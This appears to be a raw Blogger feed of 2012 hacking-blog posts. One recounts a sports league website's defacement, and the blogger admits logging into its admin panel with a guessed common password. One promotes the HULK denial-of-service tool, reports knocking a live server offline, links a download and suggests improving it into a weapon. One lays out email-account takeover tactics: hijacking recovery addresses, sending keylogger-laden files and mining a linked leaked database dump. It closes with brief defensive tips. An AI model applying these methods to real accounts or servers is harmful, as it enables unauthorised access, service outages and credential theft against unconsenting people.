&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0C2xaXf_vaEOz0WxlT9e-BgZ5X6Se6FqSZI-6AT0dvldrU-5DC7dykGT2Oalpzz-sza7zlZV4En2rKEjW9EcVSYQAAH0OzjQZfi4e9zpud_Xt7XUFcc_PpJSCYDR0LPpHryJByK5y9ns/s1600/Screenshot-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0C2xaXf_vaEOz0WxlT9e-BgZ5X6Se6FqSZI-6AT0dvldrU-5DC7dykGT2Oalpzz-sza7zlZV4En2rKEjW9EcVSYQAAH0OzjQZfi4e9zpud_Xt7XUFcc_PpJSCYDR0LPpHryJByK5y9ns/s1600/Screenshot-1.png&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifMv6rGTAvKUinf8gK8ezruHNstLTgocKq8q8pPOLZh62qSB13T2H7kYMAEKtmLmCjQUOowaHpybji4K-E3XpAlJSG3lQ7xNblqERIH0a_sM0uGNX54E6cYmkVEceB0yCMiT4JiUv1CsU/s1600/Screenshot.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifMv6rGTAvKUinf8gK8ezruHNstLTgocKq8q8pPOLZh62qSB13T2H7kYMAEKtmLmCjQUOowaHpybji4K-E3XpAlJSG3lQ7xNblqERIH0a_sM0uGNX54E6cYmkVEceB0yCMiT4JiUv1CsU/s1600/Screenshot.png&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The hackers have hacked in to the website and defaced the website posting the messages shown above.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The website admins were quick to bring the website back up again. The ironic thing was that the website was hacked even before the opening ceremony has come to a close (I&#39;m watching the opening ceremony as I write this post).&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The website admins have used a weak administrator password that gives access to the website&#39;s content management system. The hackers have used this vulnerability to deface the website.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
A website must use strong passwords, an easy to guess password means the website is vulnerable and it&#39;s just a matter of time until a bad hack your website.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Although the website is back up again the vulnerability still exists and the web admins must use a good password to avoid such situations in the future.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
To demonstrate how the hackers hacked the website, I entered the most common user-name and password combination and from my very first attempt I was able to access the admin panel of the website. &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;b&gt;Proof of concept how the hackers did it : SLPL website admin page.&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeWFepgDdSZS6SG7Lf4K0IRegwC1AQFyZo7yr8ywC5X7ldCV05yO6I_Vzd9-Qn7ll2daNX4udHZe9AQtS-cL4VXFodqmcZJe3MHgQCy8DIf8GvQLfDlB4k7en0l6Ix1SxJamm7Q0LqSpE/s1600/Screenshot-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeWFepgDdSZS6SG7Lf4K0IRegwC1AQFyZo7yr8ywC5X7ldCV05yO6I_Vzd9-Qn7ll2daNX4udHZe9AQtS-cL4VXFodqmcZJe3MHgQCy8DIf8GvQLfDlB4k7en0l6Ix1SxJamm7Q0LqSpE/s1600/Screenshot-2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;b&gt;I&#39;ve just talked about strong passwords in one of my previous posts. What password is a good password :&lt;/b&gt; &lt;a href=&quot;http://techyzilla.blogspot.com/2012/08/what-password-is-a-good-password.html&quot;&gt;http://techyzilla.blogspot.com/2012/08/what-password-is-a-good-password.html&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;b&gt;Update : &lt;/b&gt;The web admins have changed the password. Let&#39;s hope they&#39;ve switched to a stronger password.&lt;b&gt; &lt;/b&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/8433041681998589583/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/08/sri-lanka-premiere-league-website-gets-hacked.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/8433041681998589583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/8433041681998589583'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/08/sri-lanka-premiere-league-website-gets-hacked.html' title='Sri Lanka Premiere League Website Gets Hacked During The Game&#39;s Openning Ceromony.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0C2xaXf_vaEOz0WxlT9e-BgZ5X6Se6FqSZI-6AT0dvldrU-5DC7dykGT2Oalpzz-sza7zlZV4En2rKEjW9EcVSYQAAH0OzjQZfi4e9zpud_Xt7XUFcc_PpJSCYDR0LPpHryJByK5y9ns/s72-c/Screenshot-1.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-5328014985625772100</id><published>2012-08-10T13:28:00.001+05:30</published><updated>2012-08-12T06:58:35.256+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="DoS"/><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>HULK HTTP Denial of Service Tool.</title><content type='html'>&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://1.bp.blogspot.com/-VVkSVyCHJi8/UCSiZ1F98KI/AAAAAAAAB4Q/6ZoMp6WKkUE/s1600/internet-marketing-strategy-traffic1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;257&quot; src=&quot;http://1.bp.blogspot.com/-VVkSVyCHJi8/UCSiZ1F98KI/AAAAAAAAB4Q/6ZoMp6WKkUE/s320/internet-marketing-strategy-traffic1.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
I&#39;m a big fan of Denial of Service attacks (DoS), always in search of new types of attacks tools and methods.&lt;br /&gt;
&lt;br /&gt;
Yesterday I came across a DoS tool known as HULK. HULK is the short form of (HTTP Unbearable Load King).&lt;br /&gt;
&lt;br /&gt;
Basically a denial of service attack send large numbers of fake requests per second to a web server until the server reaches the maximum number of requests it can handle, so real requests from users are not passed to the server making the website unreachable for users.&lt;br /&gt;
&lt;br /&gt;
Read about Denial of Service attacks from the WikiPedia article &lt;a href=&quot;http://en.wikipedia.org/wiki/Denial-of-service_attack&quot; target=&quot;_blank&quot;&gt;here,&lt;/a&gt; which gives a nice description. &lt;br /&gt;
&lt;br /&gt;
In a DoS attack a &lt;b&gt;single&lt;/b&gt; &lt;b&gt;computer &lt;/b&gt;can take down a website without using much bandwidth and resources. which makes it fascinating. Most DoS tools use a vulnerability in the web app, or the web server software like Apache.&lt;br /&gt;
&lt;br /&gt;
HULK (HTTP Unbearable Load King) sends large number of HTTP requests eating up the resources of the web server making the website to go offline, but the difference of HULK is that each HTTP request is different from the next.&lt;br /&gt;
&lt;br /&gt;
HULK changes the&amp;nbsp; the following things in a HTTP request&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&amp;nbsp;User Agent&lt;/li&gt;
&lt;li&gt;&amp;nbsp;Referrer&lt;/li&gt;
&lt;li&gt;The Keep Alive time&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
Therefore each HTTP request, so according to the author it&#39;s harder for the web server to predict the next request and stop unwanted requests. &lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
The main concept of HULK, is to generate Unique requests for each and every request generated, thus avoiding/bypassing caching engines and effecting directly on the server’s load itself.&lt;/blockquote&gt;
&lt;h3&gt;
Time for testing&amp;nbsp; &lt;/h3&gt;
From the first look it doesn&#39;t seem to take down a web server because servers are made to handle large number of requests and HULK doesn&#39;t exploit a vulnerability like &lt;a href=&quot;http://en.wikipedia.org/wiki/Slowloris&quot; target=&quot;_blank&quot;&gt;Slow Loris&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Because the HULK changes the Keep Alive time, User Agent, and Referrer. Requests from the HULK looks like this,&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;GET /?ASH=REHRKP HTTP/1.1&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Accept-Encoding: identity&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Host: 192.168.1.103&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Keep-Alive: 110&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;User-Agent: Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Connection: close&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Referer: http://www.google.com/?q=VUCWJE&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Cache-Control: no-cache&lt;/span&gt;&lt;br /&gt;
&lt;br style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot; /&gt;
&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;GET /?UALK=USXGPJD HTTP/1.1&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Accept-Encoding: identity&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Host: 192.168.1.103&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Keep-Alive: 115&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Connection: close&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Referer: http://engadget.search.aol.com/search?q=ZNWFXTOD&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #0b5394; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;Cache-Control: no-cache &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
So I decided to put it in to the test, I decided to fire HULK on a DDoS protected web server because it has DDoS protection it should hold the attack. However I was surprised with my results, here is a screen cap I took during my testing. &lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEyROQeCJjRMTTXjd65cssIE6NH8MwP5OxSURwb1x4upy-uoG_bzMbeiK9hDThWv0Gz83fYu8DImQJoY0sPtLk4uT9DAXsfpisa6wt8TWH6OZs79OozxtqwmQSos3rQmFrZCuBSqzPN_U/s1600/Zi0Xo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEyROQeCJjRMTTXjd65cssIE6NH8MwP5OxSURwb1x4upy-uoG_bzMbeiK9hDThWv0Gz83fYu8DImQJoY0sPtLk4uT9DAXsfpisa6wt8TWH6OZs79OozxtqwmQSos3rQmFrZCuBSqzPN_U/s1600/Zi0Xo.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
It only took less than 1 minute for the website to go down. The website stayed down for nearly 10 minutes until the DDoS protection completely blocked the incoming requests. The site immediately comes online after stopping the script, just like any other DoS tool.&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
However, when I tried HULK on a web server that is not using DDoS protection (it crashes under the a Slow Loris attack) the site did not go down but was taking a long time to load.&lt;br /&gt;
&lt;br /&gt;
HULK is a pretty basic script that was written as a proof of concept script. The script can be improved a lot, making it a good DoS weapon.&lt;br /&gt;
&lt;br /&gt;
In a scenario like above if one can do a small modification to the script to stop and restart itself in a given time, it should be able to hold down the website for a longer period of time. &lt;br /&gt;
&lt;br /&gt;
Therefore HULK is a simple DoS tool that can do a lot of damage if improved.&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Download the HULK script from here :&amp;nbsp;&lt;/b&gt; &lt;a href=&quot;https://docs.google.com/open?id=0B_bW1NzjFjqzbVU2UVduSXJodk0&quot;&gt;https://docs.google.com/open?id=0B_bW1NzjFjqzbVU2UVduSXJodk0&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update : &lt;/b&gt;I showed the tool to&lt;b&gt; &lt;/b&gt;&lt;a href=&quot;http://twitter.com/sambowne&quot; target=&quot;_blank&quot;&gt;Sam Bowne&lt;/a&gt; and he has tested HULK and you can find the results here : &lt;a href=&quot;http://samsclass.info/124/proj11/hulk.html&quot;&gt;http://samsclass.info/124/proj11/hulk.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Although the script gave me a &quot;500 Response error&quot; I tested the python script on Linux, because although the script gave a &quot;500 Response error&quot; the script was still sending requests so I ran the script on Linux to get the results. Also I don&#39;t have a computer running windows at the moment. &lt;br /&gt;
&lt;br /&gt;
But, yes I too think that the HULK is not a powerful DoS tool, but used by a bot net or used by a multiple computers it can be powerful. Sam&#39;s test results should be more accurate than mine.&lt;br /&gt;
&lt;br /&gt;
This is a small tool and the tool can be improved. According to Sam Bowne the attack was not detected by normal ClousFlare settings. So what if someone put this randomizing Use Agents, Referrers method on a normal DoS tool? &lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;You can find the post by the author of the tool from HULK : &lt;a href=&quot;http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/&quot;&gt;http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Spider Labs have done an in-depth test on the tool one can find it here : &lt;a href=&quot;http://blog.spiderlabs.com/2012/05/hulk-vs-thor-application-dos-smackdown.html%20&quot; target=&quot;_blank&quot;&gt;http://blog.spiderlabs.com/2012/05/hulk-vs-thor-application-dos-smackdown.html &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Read about the post I wrote about Slow Read DoS attack here : &lt;a href=&quot;http://outcastlife.wordpress.com/2012/03/31/the-slow-read-http-attack/&quot;&gt;http://outcastlife.wordpress.com/2012/03/31/the-slow-read-http-attack/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/5328014985625772100/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/08/hulk-http-denial-of-service-tool.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/5328014985625772100'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/5328014985625772100'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/08/hulk-http-denial-of-service-tool.html' title='HULK HTTP Denial of Service Tool.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-VVkSVyCHJi8/UCSiZ1F98KI/AAAAAAAAB4Q/6ZoMp6WKkUE/s72-c/internet-marketing-strategy-traffic1.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-4835803851602440661</id><published>2012-08-09T15:23:00.000+05:30</published><updated>2012-08-09T15:47:41.202+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Eamil"/><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>How I Will Hack Your Email - Part 2.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm4w-_C0ovZm5g89fPgoeQUDn-FS1mpjmpImZ4IjjidQeRiWF3jBe_6eitoK52GAWFCVxL2kFcf75Hc5dSFbrhkko4wJDfXuGx22S1Gkw0gzH-30Gb1QlY04fE2dI8KjWfNa3WrUBViGo/s1600/Sample-email-template-to-Professors-in-USA-for-Graduate-School-Research-Funding.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm4w-_C0ovZm5g89fPgoeQUDn-FS1mpjmpImZ4IjjidQeRiWF3jBe_6eitoK52GAWFCVxL2kFcf75Hc5dSFbrhkko4wJDfXuGx22S1Gkw0gzH-30Gb1QlY04fE2dI8KjWfNa3WrUBViGo/s320/Sample-email-template-to-Professors-in-USA-for-Graduate-School-Research-Funding.png&quot; width=&quot;305&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
This is the second post about how a hacker will try to break into your email address. &lt;a href=&quot;http://techyzilla.blogspot.com/2012/08/how-i-will-hack-your-email.html&quot; target=&quot;_blank&quot;&gt;If you haven&#39;t read the previous post I suggest you reading it first&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
The important thing to take out from the previous post is, although most people use good passwords, people don&#39;t take take the security question seriously. People tend to pick weak security questions and thanks to social networks and social engineering (if needed) it&#39;s pretty much easy for one to find the answer to the security question and break in to an email.&lt;br /&gt;
&lt;br /&gt;
So what if someone is not using a security question? This is quite common in gmail accounts, most people use a mobile number or an alternative email address to recover an email address if the user forgot the password.&lt;br /&gt;
&lt;br /&gt;
If there is such an occasion, try to break in to the alternative email address, although most of the characters are not shown in the alternative email address at the password reset page, it&#39;s easy to predict at the alternative email address, because people tend to pick similar email addresses.&lt;br /&gt;
&lt;br /&gt;
And if you are lucky the alternative email address will be using a weak password or a security question.&lt;br /&gt;
&lt;br /&gt;
If we are trying to break into a gmail account, and the alternative email address is a Yahoo or Microsot (Live, Outlook)  email account, then there is a very high percentage that alternative email address is using a security question, security questions are very common in Yahoo email accounts.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Therefor I can break into the alternative email address and reset the password of the email account I want to hack. This is NOT a fact, but trust me it works. And the chance of this being successful is pretty high.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
KeyLogger to the rescue &lt;/h3&gt;
If all of the above methods fail then things are getting a bit difficult, or even impossible, but I won&#39;t give up that easily. I might get a freely available keylogger, bundle it with an innocent file and will send you via Facebook or an email.&lt;br /&gt;
&lt;br /&gt;
If you don&#39;t use an anti-virus software I will be getting all the key presses you do, and I will get your Emal password. So all I need to do is use that password and login to your account.&lt;br /&gt;
&lt;br /&gt;
However the chance of this working is low, because the person might ignore the file and will not open it, but still there is an average chance if this working. If all the above fail it&#39;s worth giving a try.&lt;br /&gt;
&lt;br /&gt;
Final thing I might do is to google your email address, because the email address might be in a data base dump made by hackers. Because most hackers hack a website and post the databases online. &lt;a href=&quot;http://pastebin.com/&quot;&gt;Pastebin.com&lt;/a&gt; is a good place to look for these kind of dumps.&lt;br /&gt;
&lt;br /&gt;
For example like this database &lt;a href=&quot;http://nopaste.me/paste/312527981500d0ad054410&quot; target=&quot;_blank&quot;&gt;dump of Fitch Rating Lanka website&lt;/a&gt; most of the dumps contain email addresses and passwords.heir accounts.&lt;br /&gt;
&lt;br /&gt;
So if a database dump has a password that you used to make an account then this password might work for your email address as well, because most people tend to use the same password for all of their accounts, or the dump might contain mobile phone numbers ,addresses, identity card numbers that can be used to answer the security question and break in to your email address.&lt;br /&gt;
&lt;br /&gt;
This is the last thing I can do to hack your email account, not all websites get hacked, and the chance of your email address being in one of the hacked websites is low.&lt;br /&gt;
&lt;br /&gt;
However even people who are work with tech tend to use the same passwords on all the online accounts. The best example is how hackers used a stolen password of an employee of DropBox from another website to hack DropBox because the employee used the same password for all his online accounts : &lt;a href=&quot;http://www.zdnet.com/dropbox-gets-hacked-again-7000001928/&quot;&gt;http://www.zdnet.com/dropbox-gets-hacked-again-7000001928/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
So all that tried and failed, I&#39;d say bye bye to your email account, and go in search of some account that&#39;s more easier to hack.&lt;br /&gt;
&lt;h3&gt;
&lt;/h3&gt;
&lt;h3&gt;
How to protect yourself of being hacked &lt;/h3&gt;
So how can one protect their accounts of being hacked?&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Use strong passwords, that has numbers, letters and symbols. &lt;/li&gt;
&lt;li&gt;Always try to use two factor authentication.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Avoid using a security question, if you have access to your mobile and alternative email address there is no need of a security question.&lt;/li&gt;
&lt;li&gt;Don&#39;t use same passwords for all your online accounts. Try using different passwords and if you can&#39;t remember them all, use a tool like &lt;a href=&quot;http://lastpass.com/&quot; target=&quot;_blank&quot;&gt;LastPass&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Change your passwords from time to time, at least once in every two mothns. &lt;/li&gt;
&lt;/ul&gt;
</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/4835803851602440661/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/08/how-i-will-hack-your-email-part-2.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/4835803851602440661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/4835803851602440661'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/08/how-i-will-hack-your-email-part-2.html' title='How I Will Hack Your Email - Part 2.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm4w-_C0ovZm5g89fPgoeQUDn-FS1mpjmpImZ4IjjidQeRiWF3jBe_6eitoK52GAWFCVxL2kFcf75Hc5dSFbrhkko4wJDfXuGx22S1Gkw0gzH-30Gb1QlY04fE2dI8KjWfNa3WrUBViGo/s72-c/Sample-email-template-to-Professors-in-USA-for-Graduate-School-Research-Funding.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-1207009174590068151</id><published>2012-08-08T08:26:00.001+05:30</published><updated>2012-08-08T08:26:38.235+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Eamil"/><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>How I Will Hack Your Email.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm4w-_C0ovZm5g89fPgoeQUDn-FS1mpjmpImZ4IjjidQeRiWF3jBe_6eitoK52GAWFCVxL2kFcf75Hc5dSFbrhkko4wJDfXuGx22S1Gkw0gzH-30Gb1QlY04fE2dI8KjWfNa3WrUBViGo/s1600/Sample-email-template-to-Professors-in-USA-for-Graduate-School-Research-Funding.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm4w-_C0ovZm5g89fPgoeQUDn-FS1mpjmpImZ4IjjidQeRiWF3jBe_6eitoK52GAWFCVxL2kFcf75Hc5dSFbrhkko4wJDfXuGx22S1Gkw0gzH-30Gb1QlY04fE2dI8KjWfNa3WrUBViGo/s320/Sample-email-template-to-Professors-in-USA-for-Graduate-School-Research-Funding.png&quot; width=&quot;305&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
